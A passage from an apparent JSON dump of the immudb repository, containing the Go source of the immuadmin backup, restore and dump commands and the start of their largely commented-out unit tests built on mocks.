err)\n}\n\ntype terminalReadPwMock struct{}\n\nfunc (trp *terminalReadPwMock) ReadPassword(fd int) ([]byte, error) {\n\treturn []byte(`fake`), nil\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/backup.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\tstdos \"os\"\n\t\"path\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/fatih/color\"\n\t\"github.com/spf13/cobra\"\n\tdaem \"github.com/takama/daemon\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client/homedir\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/codenotary/immudb/pkg/fs\"\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n)\n\ntype backupper struct {\n\tdaemon daem.Daemon\n\tos     immuos.OS\n\tcopier fs.Copier\n\ttarer  fs.Tarer\n\tziper  fs.Ziper\n}\n\nfunc newBackupper(os immuos.OS) (*backupper, error) {\n\td, err := daem.New(\"immudb\", \"\", \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &backupper{\n\t\t\tdaemon: d,\n\t\t\tos:     os,\n\t\t\tcopier: fs.NewStandardCopier(),\n\t\t\ttarer:  fs.NewStandardTarer(),\n\t\t\tziper:  fs.NewStandardZiper()},\n\t\tnil\n}\n\n// Backupper ...\ntype Backupper interface {\n\tmustNotBeWorkingDir(p string) error\n\tstopImmudbService() (func(), error)\n\tofflineBackup(src string, uncompressed bool, manualStopStart bool) (string, error)\n\tofflineRestore(src string, dst string, manualStopStart bool) (string, error)\n}\n\ntype commandlineBck struct {\n\tcommandline\n\tBackupper\n\tc.TerminalReader\n}\n\nfunc newCommandlineBck(os immuos.OS) (*commandlineBck, error) {\n\tb, err := newBackupper(os)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcl := commandline{}\n\tcl.config.Name = \"immuadmin\"\n\tcl.passwordReader = c.DefaultPasswordReader\n\tcl.context = context.Background()\n\tcl.os = os\n\ttr := c.NewTerminalReader(stdos.Stdin)\n\n\treturn &commandlineBck{cl, b, tr}, nil\n}\n\nfunc (clb *commandlineBck) Register(rootCmd *cobra.Command) *cobra.Command {\n\tclb.dumpToFile(rootCmd)\n\tclb.backup(rootCmd)\n\tclb.restore(rootCmd)\n\treturn rootCmd\n}\n\nfunc (cl *commandlineBck) ConfigChain(post func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) (err error) {\n\treturn func(cmd *cobra.Command, args []string) (err error) {\n\t\tif err = cl.config.LoadConfig(cmd); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// here all command line options and services need to be configured by options retrieved from viper\n\t\tcl.options = Options()\n\t\tcl.ts = tokenservice.NewFileTokenService().WithHds(homedir.NewHomedirService()).WithTokenFileName(cl.options.TokenFileName)\n\t\tif post != nil {\n\t\t\treturn post(cmd, args)\n\t\t}\n\t\treturn nil\n\t}\n}\n\nfunc (cl *commandlineBck) dumpToFile(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"dump [file]\",\n\t\tShort:             \"Dump database content to a file\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.checkLoggedInAndConnect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tfilename := fmt.Sprint(\"immudb_\" + time.Now().Format(\"2006-01-02_15-04-05\") + \".bkp\")\n\t\t\tif len(args) > 0 {\n\t\t\t\tfilename = args[0]\n\t\t\t}\n\t\t\tfile, err := cl.os.Create(filename)\n\t\t\tdefer file.Close()\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tctx := cl.context\n\t\t\tresponse, err := cl.immuClient.Dump(ctx, file)\n\t\t\tif err != nil {\n\t\t\t\tcolor.Set(color.FgHiBlue, color.Bold)\n\t\t\t\tfmt.Println(\"Backup failed.\")\n\t\t\t\tcolor.Unset()\n\t\t\t\tcl.os.Remove(filename)\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t} else if response == 0 {\n\t\t\t\tfmt.Println(\"Database is empty.\")\n\t\t\t\tcl.os.Remove(filename)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tfmt.Printf(\"SUCCESS: %d key-value entries were backed-up to file %s\\n\", response, filename)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MaximumNArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandlineBck) backup(cmd *cobra.Command) {\n\tdefaultDbDir := server.DefaultOptions().Dir\n\tccmd := &cobra.Command{\n\t\tUse:   \"backup [--dbdir] [--manual-stop-start] [--uncompressed]\",\n\t\tShort: \"Make a copy of the database files and folders\",\n\t\tLong: \"Pause the immudb server, create and save on the server machine a snapshot \" +\n\t\t\t\"of the database files and folders (zip on Windows, tar.gz on Linux or uncompressed).\",\n\t\tPersistentPreRunE: cl.ConfigChain(nil),\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tdbDir, err := cmd.Flags().GetString(\"dbdir\")\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif err = cl.mustNotBeWorkingDir(dbDir); err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tmanualStopStart, err := cmd.Flags().GetBool(\"manual-stop-start\")\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tuncompressed, err := cmd.Flags().GetBool(\"uncompressed\")\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif err := cl.askUserConfirmation(\"backup\", manualStopStart); err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tbackupPath, err := cl.offlineBackup(dbDir, uncompressed, manualStopStart)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tfmt.Printf(\"Database backup created: %s\\n\", backupPath)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.NoArgs,\n\t}\n\tccmd.Flags().String(\"dbdir\", defaultDbDir, fmt.Sprintf(\"path to the server database directory to backup (default %s)\", defaultDbDir))\n\tccmd.Flags().Bool(\"manual-stop-start\", false, \"server stop before and restart after the backup are to be handled manually by the user (default false)\")\n\tccmd.Flags().BoolP(\"uncompressed\", \"u\", false, \"create an uncompressed backup (i.e. make just a copy of the db directory)\")\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandlineBck) restore(cmd *cobra.Command) {\n\tdefaultDbDir := server.DefaultOptions().Dir\n\tccmd := &cobra.Command{\n\t\tUse:   \"restore snapshot-path [--dbdir] [--manual-stop-start]\",\n\t\tShort: \"Restore the database from a snapshot archive or folder\",\n\t\tLong: \"Pause the immudb server and restore the database files and folders from a snapshot \" +\n\t\t\t\"file (zip or tar.gz) or folder (uncompressed) residing on the server machine.\",\n\t\tPersistentPreRunE: cl.ConfigChain(nil),\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tsnapshotPath := args[0]\n\t\t\tdbDir, err := cmd.Flags().GetString(\"dbdir\")\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tmanualStopStart, err := cmd.Flags().GetBool(\"manual-stop-start\")\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif err := cl.askUserConfirmation(\"restore\", manualStopStart); err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tautoBackupPath, err := cl.offlineRestore(snapshotPath, dbDir, manualStopStart)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tfmt.Printf(\"Database restored from backup %s\\n\", snapshotPath)\n\t\t\tfmt.Printf(\"A backup of the previous database has been also created: %s\\n\", autoBackupPath)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tccmd.Flags().String(\"dbdir\", defaultDbDir, fmt.Sprintf(\"path to the server database directory which will be replaced by the backup (default %s)\", defaultDbDir))\n\tccmd.Flags().Bool(\"manual-stop-start\", false, \"server stop before and restart after the backup are to be handled manually by the user (default false)\")\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandlineBck) askUserConfirmation(process string, manualStopStart bool) error {\n\tif !manualStopStart {\n\t\tfmt.Printf(\n\t\t\t\"Server will be stopped and then restarted during the %s process.\\n\"+\n\t\t\t\t\"NOTE: If the backup process is forcibly interrupted, a manual restart \"+\n\t\t\t\t\"of the immudb service may be needed.\\n\"+\n\t\t\t\t\"Are you sure you want to proceed? [y/N]: \", process)\n\t\tanswer, err := cl.ReadFromTerminalYN(\"N\")\n\t\tif err != nil || !(strings.ToUpper(\"Y\") == strings.TrimSpace(strings.ToUpper(answer))) {\n\t\t\treturn errors.New(\"Canceled\")\n\n\t\t}\n\t\tpass, err := cl.passwordReader.Read(\"Enter admin password:\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_ = cl.checkLoggedInAndConnect(nil, nil)\n\t\tdefer cl.disconnect(nil, nil)\n\t\tif _, err = cl.immuClient.Login(cl.context, []byte(auth.SysAdminUsername), pass); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tfmt.Print(\"Please make sure the immudb server is not running before proceeding. Are you sure you want to proceed? [y/N]: \")\n\t\tanswer, err := cl.ReadFromTerminalYN(\"N\")\n\t\tif err != nil || !(strings.ToUpper(\"Y\") == strings.TrimSpace(strings.ToUpper(answer))) {\n\t\t\treturn errors.New(\"Canceled\")\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (b *backupper) mustNotBeWorkingDir(p string) error {\n\tcurrDir, err := b.os.Getwd()\n\tif err != nil {\n\t\treturn err\n\t}\n\tpathAbs, err := b.os.Abs(p)\n\tif err != nil {\n\t\treturn err\n\t}\n\tcurrDirAbs, err := b.os.Abs(currDir)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif pathAbs == currDirAbs {\n\t\treturn fmt.Errorf(\n\t\t\t\"cannot backup the current directory, please specify a subdirectory, for example ./data\")\n\t}\n\treturn nil\n}\n\nfunc (b *backupper) stopImmudbService() (func(), error) {\n\tif _, err := b.daemon.Stop(); err != nil {\n\t\treturn nil, fmt.Errorf(\"error stopping immudb server: %v\", err)\n\t}\n\treturn func() {\n\t\tif _, err := b.daemon.Start(); err != nil {\n\t\t\tfmt.Fprintf(stdos.Stderr, \"error restarting immudb server: %v\", err)\n\t\t}\n\t}, nil\n}\n\nfunc (b *backupper) offlineBackup(src string, uncompressed bool, manualStopStart bool) (string, error) {\n\tsrcInfo, err := b.os.Stat(src)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif !srcInfo.IsDir() {\n\t\treturn \"\", fmt.Errorf(\"%s is not a directory\", src)\n\t}\n\n\tif !manualStopStart {\n\t\tstartImmudbService, err := b.stopImmudbService()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer startImmudbService()\n\t}\n\n\tsrcBase := b.os.Base(src)\n\tsnapshotPath := srcBase + \"_bkp_\" + time.Now().Format(\"2006-01-02_15-04-05\")\n\tif err = b.copier.CopyDir(src, snapshotPath); err != nil {\n\t\treturn \"\", err\n\t}\n\t// remove the immudb.identifier file from the backup\n\tif err = b.os.Remove(snapshotPath + \"/\" + server.IDENTIFIER_FNAME); err != nil {\n\t\tfmt.Fprintf(stdos.Stderr,\n\t\t\t\"error removing immudb identifier file %s from db snapshot %s: %v\",\n\t\t\tserver.IDENTIFIER_FNAME, snapshotPath, err)\n\t}\n\tif uncompressed {\n\t\tabsSnapshotPath, err := b.os.Abs(snapshotPath)\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(stdos.Stderr,\n\t\t\t\t\"error converting to absolute path the rel path %s of the uncompressed backup: %v\",\n\t\t\t\tsnapshotPath, err)\n\t\t\tabsSnapshotPath = snapshotPath\n\t\t}\n\t\treturn absSnapshotPath, nil\n\t}\n\n\tvar archivePath string\n\tvar archiveErr error\n\tif runtime.GOOS != \"windows\" {\n\t\tarchivePath = snapshotPath + \".tar.gz\"\n\t\tarchiveErr = b.tarer.TarIt(snapshotPath, archivePath)\n\t} else {\n\t\tarchivePath = snapshotPath + \".zip\"\n\t\tarchiveErr = b.ziper.ZipIt(snapshotPath, archivePath, fs.ZipDefaultCompression)\n\t}\n\tif archiveErr != nil {\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"database copied successfully to %s, but compression to %s failed: %v\",\n\t\t\tsnapshotPath, archivePath, archiveErr)\n\t}\n\tif err = b.os.RemoveAll(snapshotPath); err != nil {\n\t\tfmt.Fprintf(stdos.Stderr,\n\t\t\t\"error removing db snapshot dir %s after successfully compressing it to %s: %v\",\n\t\t\tsnapshotPath, archivePath, err)\n\t}\n\n\tabsArchivePath, err := b.os.Abs(archivePath)\n\tif err != nil {\n\t\tfmt.Fprintf(stdos.Stderr,\n\t\t\t\"error converting to absolute path the rel path %s of the archived backup: %v\",\n\t\t\tarchivePath, err)\n\t\tabsArchivePath = archivePath\n\t}\n\n\treturn absArchivePath, nil\n}\n\nfunc (b *backupper) offlineRestore(src string, dst string, manualStopStart bool) (string, error) {\n\tsnapshotPath := src\n\t_, err := b.os.Stat(snapshotPath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tsnapshotExt := b.os.Ext(snapshotPath)\n\tsnapshotName := b.os.Base(snapshotPath)\n\tsnapshotNameNoExt := strings.TrimSuffix(snapshotName, snapshotExt)\n\tif strings.ToLower(snapshotExt) == \".gz\" {\n\t\tsnapshotExt = b.os.Ext(snapshotNameNoExt) + snapshotExt\n\t\tsnapshotNameNoExt = strings.TrimSuffix(snapshotName, snapshotExt)\n\t}\n\tdbParentDir := b.os.Dir(dst) + string(stdos.PathSeparator)\n\textractedSnapshotDir := dbParentDir + snapshotNameNoExt\n\tnow := time.Now().Format(\"2006-01-02_15-04-05\")\n\tvar extract func(string, string) error\n\tswitch snapshotExt {\n\tcase \".tar.gz\":\n\t\textract = b.tarer.UnTarIt\n\tcase \".zip\":\n\t\textract = b.ziper.UnZipIt\n\tcase \"\": // uncompressed\n\t\t// TODO OGG: this will result in the backup being renamed directly to the db folder\n\t\tif dbParentDir != b.os.Dir(snapshotPath)+string(stdos.PathSeparator) {\n\t\t\textract = b.copier.CopyDir\n\t\t}\n\tdefault:\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"snapshot %s has unsupported format %s; supported formats: .tar.gz, .zip or none (uncompressed)\",\n\t\t\tsnapshotPath, snapshotExt)\n\t}\n\n\tif !manualStopStart {\n\t\tstartImmudbService, err := b.stopImmudbService()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer startImmudbService()\n\t}\n\n\tif extract != nil {\n\t\tif err = extract(snapshotPath, dbParentDir); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\t// keep the same db identifier\n\tserverIDSrc := path.Join(dst, server.IDENTIFIER_FNAME)\n\tserverIDDst := path.Join(extractedSnapshotDir, server.IDENTIFIER_FNAME)\n\tif err = b.copier.CopyFile(serverIDSrc, serverIDDst); err != nil {\n\t\tfmt.Fprintf(stdos.Stderr,\n\t\t\t\"error copying immudb identifier file %s to %s: %v\",\n\t\t\tserverIDSrc, serverIDDst, err)\n\t}\n\n\tdbDirAutoBackupPath := dst + \"_bkp_before_restore_\" + now\n\tif err = b.os.Rename(dst, dbDirAutoBackupPath); err != nil {\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"error renaming previous db dir %s to %s during restore: %v\",\n\t\t\tdst, dbDirAutoBackupPath, err)\n\t}\n\tif err = b.os.Rename(extractedSnapshotDir, dst); err != nil {\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"error renaming new tmp snapshot dir %s to db dir %s during restore: %v\",\n\t\t\textractedSnapshotDir, dst, err)\n\t}\n\n\treturn dbDirAutoBackupPath, nil\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/backup_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\tstdos \"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/stretchr/testify/assert\"\n\n\t\"github.com/codenotary/immudb/cmd/cmdtest\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/codenotary/immudb/pkg/fs\"\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/takama/daemon\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\ntype daemonMock struct {\n\tGetTemplateF func() string\n\tSetTemplateF func(string) error\n\tInstallF     func(...string) (string, error)\n\tRemoveF      func() (string, error)\n\tStartF       func() (string, error)\n\tStopF        func() (string, error)\n\tStatusF      func() (string, error)\n\tRunF         func(daemon.Executable) (string, error)\n}\n\nfunc (dm *daemonMock) GetTemplate() string {\n\tif dm.GetTemplateF == nil {\n\t\treturn \"\"\n\t}\n\treturn dm.GetTemplateF()\n}\nfunc (dm *daemonMock) SetTemplate(t string) error {\n\tif dm.SetTemplateF == nil {\n\t\treturn nil\n\t}\n\treturn dm.SetTemplateF(t)\n}\nfunc (dm *daemonMock) Install(args ...string) (string, error) {\n\tif dm.InstallF == nil {\n\t\treturn \"\", nil\n\t}\n\treturn dm.InstallF(args...)\n}\nfunc (dm *daemonMock) Remove() (string, error) {\n\tif dm.RemoveF == nil {\n\t\treturn \"\", nil\n\t}\n\treturn dm.RemoveF()\n}\nfunc (dm *daemonMock) Start() (string, error) {\n\tif dm.StartF == nil {\n\t\treturn \"\", nil\n\t}\n\treturn dm.StartF()\n}\nfunc (dm *daemonMock) Stop() (string, error) {\n\tif dm.StopF == nil {\n\t\treturn \"\", nil\n\t}\n\treturn dm.StopF()\n}\nfunc (dm *daemonMock) Status() (string, error) {\n\tif dm.StatusF == nil {\n\t\treturn \"\", nil\n\t}\n\treturn dm.StatusF()\n}\nfunc (dm *daemonMock) Run(e daemon.Executable) (string, error) {\n\tif dm.RunF == nil {\n\t\treturn \"\", nil\n\t}\n\treturn dm.RunF(e)\n}\n\nfunc defaultDaemonMock() *daemonMock {\n\treturn &daemonMock{\n\t\tGetTemplateF: func() string {\n\t\t\treturn \"\"\n\t\t},\n\t\tSetTemplateF: func(t string) error {\n\t\t\treturn nil\n\t\t},\n\t\tInstallF: func(args ...string) (string, error) {\n\t\t\treturn \"\", nil\n\t\t},\n\t\tRemoveF: func() (string, error) {\n\t\t\treturn \"\", nil\n\t\t},\n\t\tStartF: func() (string, error) {\n\t\t\treturn \"\", nil\n\t\t},\n\t\tStopF: func() (string, error) {\n\t\t\treturn \"\", nil\n\t\t},\n\t\tStatusF: func() (string, error) {\n\t\t\treturn \"\", nil\n\t\t},\n\t\tRunF: func(e daemon.Executable) (string, error) {\n\t\t\treturn \"\", nil\n\t\t},\n\t}\n}\n\nfunc TestDumpToFile(t *testing.T) {\n\tos := immuos.NewStandardOS()\n\tclb, err := newCommandlineBck(os)\n\trequire.NoError(t, err)\n\tclb.options = client.DefaultOptions()\n\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tclb.immuClient = immuClientMock\n\tclb.newImmuClient = func(*client.Options) (client.ImmuClient, error) {\n\t\treturn immuClientMock, nil\n\t}\n\timmuClientMock.DisconnectF = func() error {\n\t\treturn nil\n\t}\n\n\tclb.passwordReader = &clienttest.PasswordReaderMock{}\n\tclb.context = context.Background()\n\n\thds := clienttest.DefaultHomedirServiceMock()\n\thds.FileExistsInUserHomeDirF = func(string) (bool, error) {\n\t\treturn true, nil\n\t}\n\tclb.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName(\"testTokenFile\")\n\n\tdaemMock := defaultDaemonMock()\n\tclb.Backupper = &backupper{\n\t\tdaemon: daemMock,\n\t\tos:     os,\n\t\tcopier: fs.NewStandardCopier(),\n\t\ttarer:  fs.NewStandardTarer(),\n\t\tziper:  fs.NewStandardZiper(),\n\t}\n\n\ttermReaderMock := &clienttest.TerminalReaderMock{\n\t\tReadFromTerminalYNF: func(def string) (selected string, err error) {\n\t\t\treturn \"Y\", nil\n\t\t},\n\t}\n\tclb.TerminalReader = termReaderMock\n\n\tdumpFile := \"backup_test_dump_output.bkp\"\n\tdefer stdos.Remove(dumpFile)\n\terrDump := errors.New(\"dump error\")\n\timmuClientMock.DumpF = func(ctx context.Context, f io.WriteSeeker) (int64, error) {\n\t\treturn 0, errDump\n\t}\n\n\tcollector := new(cmdtest.StdOutCollector)\n\tclb.onError = func(msg interface{}) {\n\t\tdumpLog, err := collector.Stop()\n\t\trequire.Equal(t, errDump, msg.(error))\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"Backup failed.\\n\", dumpLog)\n\t}\n\tcl := commandline{}\n\tcmd, _ := cl.NewCmd()\n\tcmd.SetArgs([]string{\"dump\", dumpFile})\n\tclb.dumpToFile(cmd)\n\n\trequire.NoError(t, collector.Start())\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tcmdlist := cmd.Commands()[0]\n\tcmdlist.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tcollector.Stop()\n\n\timmuClientMock.DumpF = func(ctx context.Context, f io.WriteSeeker) (int64, error) {\n\t\treturn 0, nil\n\t}\n\trequire.NoError(t, collector.Start())\n\trequire.Nil(t, cmd.Execute())\n\tdumpLog, err := collector.Stop()\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"Database is empty.\\n\", dumpLog)\n\n\timmuClientMock.DumpF = func(ctx context.Context, f io.WriteSeeker) (int64, error) {\n\t\treturn 1, nil\n\t}\n\trequire.NoError(t, collector.Start())\n\trequire.Nil(t, cmd.Execute())\n\tdumpLog, err = collector.Stop()\n\trequire.NoError(t, err)\n\trequire.Equal(t, fmt.Sprintf(\"SUCCESS: 1 key-value entries were backed-up to file %s\\n\", dumpFile), dumpLog)\n}\n\nfunc deleteBackupFiles(prefix string) {\n\tfiles, _ := filepath.Glob(fmt.Sprintf(\"./%s_bkp_*\", prefix))\n\tfor _, f := range files {\n\t\tstdos.RemoveAll(f)\n\t}\n}\n\nfunc TestBackup(t *testing.T) {\n\tos := immuos.NewStandardOS()\n\tclb, err := newCommandlineBck(os)\n\trequire.NoError(t, err)\n\tclb.options = client.DefaultOptions()\n\n\tloginFOK := func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\treturn &schema.LoginResponse{Token: \"token\"}, nil\n\t}\n\timmuClientMock := &clienttest.ImmuClientMock{\n\t\tLoginF: loginFOK,\n\t}\n\tclb.immuClient = immuClientMock\n\tclb.newImmuClient = func(*client.Options) (client.ImmuClient, error) {\n\t\treturn immuClientMock, nil\n\t}\n\timmuClientMock.DisconnectF = func() error {\n\t\treturn nil\n\t}\n\n\tpwReaderMock := &clienttest.PasswordReaderMock{}\n\tclb.passwordReader = pwReaderMock\n\tclb.context = context.Background()\n\n\thds := clienttest.DefaultHomedirServiceMock()\n\thds.FileExistsInUserHomeDirF = func(string) (bool, error) {\n\t\treturn true, nil\n\t}\n\tclb.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName(\"testTokenFile\")\n\n\tdaemMock := defaultDaemonMock()\n\tclb.Backupper = &backupper{\n\t\tdaemon: daemMock,\n\t\tos:     os,\n\t\tcopier: fs.NewStandardCopier(),\n\t\ttarer:  fs.NewStandardTarer(),\n\t\tziper:  fs.NewStandardZiper(),\n\t}\n\n\tokReadFromTerminalYNF := func(def string) (selected string, err error) {\n\t\treturn \"Y\", nil\n\t}\n\ttermReaderMock := &clienttest.TerminalReaderMock{\n\t\tReadFromTerminalYNF: okReadFromTerminalYNF,\n\t}\n\tclb.TerminalReader = termReaderMock\n\n\tdbDir := \"backup_test_db_dir\"\n\trequire.NoError(t, stdos.Mkdir(dbDir, 0755))\n\tdefer stdos.Remove(dbDir)\n\n\tcollector := new(cmdtest.StdOutCollector)\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Empty(t, msg.(error))\n\t}\n\n\t// success\n\tcl := commandline{}\n\tcmd, _ := cl.NewCmd()\n\tcmd.SetArgs([]string{\n\t\t\"backup\",\n\t\tfmt.Sprintf(\"--dbdir=%s\", dbDir),\n\t})\n\tdefer deleteBackupFiles(dbDir)\n\tclb.backup(cmd)\n\n\trequire.NoError(t, collector.Start())\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.Nil(t, cmd.Execute())\n\tbackupLog, err := collector.Stop()\n\trequire.NoError(t, err)\n\trequire.Contains(t, backupLog, \"Database backup created: \")\n\n\tcmd = &cobra.Command{}\n\tcmd.SetArgs([]string{\n\t\t\"backup\",\n\t\tfmt.Sprintf(\"--dbdir=%s\", dbDir),\n\t\t\"--uncompressed\",\n\t})\n\tclb.backup(cmd)\n\trequire.NoError(t, collector.Start())\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.Nil(t, cmd.Execute())\n\tbackupLog, err = collector.Stop()\n\trequire.NoError(t, err)\n\trequire.Contains(t, backupLog, \"Database backup created: \")\n\n\t// Abs error (uncompressed backup)\n\tdeleteBackupFiles(dbDir)\n\tabsFOK := os.AbsF\n\terrAbsUncompressed := \"Abs error uncompressed\"\n\tnbAbsCalls := 0\n\tos.AbsF = func(path string) (string, error) {\n\t\tnbAbsCalls++\n\t\tif nbAbsCalls > 2 {\n\t\t\treturn \"\", errors.New(errAbsUncompressed)\n\t\t}\n\t\treturn absFOK(path)\n\t}\n\tcollector.CaptureStderr = true\n\trequire.NoError(t, collector.Start())\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tbackupLog, err = collector.Stop()\n\trequire.NoError(t, err)\n\trequire.Contains(t, backupLog, errAbsUncompressed)\n\tcollector.CaptureStderr = false\n\tos.AbsF = absFOK\n\n\t// reset command\n\tdeleteBackupFiles(dbDir)\n\tcl = commandline{}\n\tcmd, _ = cl.NewCmd()\n\tcmd.SetArgs([]string{\n\t\t\"backup\",\n\t\tfmt.Sprintf(\"--dbdir=%s\", dbDir),\n\t})\n\tclb.backup(cmd)\n\n\t// Getwd error\n\tgetwdFOK := os.GetwdF\n\terrGetwd := errors.New(\"Getwd error\")\n\tos.GetwdF = func() (string, error) {\n\t\treturn \"\", errGetwd\n\t}\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errGetwd, msg)\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tos.GetwdF = getwdFOK\n\n\t// Abs error\n\terrAbs1 := errors.New(\"Abs error 1\")\n\tos.AbsF = func(path string) (string, error) {\n\t\treturn \"\", errAbs1\n\t}\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errAbs1, msg)\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\n\terrAbs2 := errors.New(\"Abs error 2\")\n\tnbAbsCalls = 0\n\tos.AbsF = func(path string) (string, error) {\n\t\tnbAbsCalls++\n\t\tif nbAbsCalls == 1 {\n\t\t\treturn absFOK(path)\n\t\t}\n\t\treturn \"\", errAbs2\n\t}\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errAbs2, msg)\n\t}\n\n\t// remove ConfigChain method to avoid override 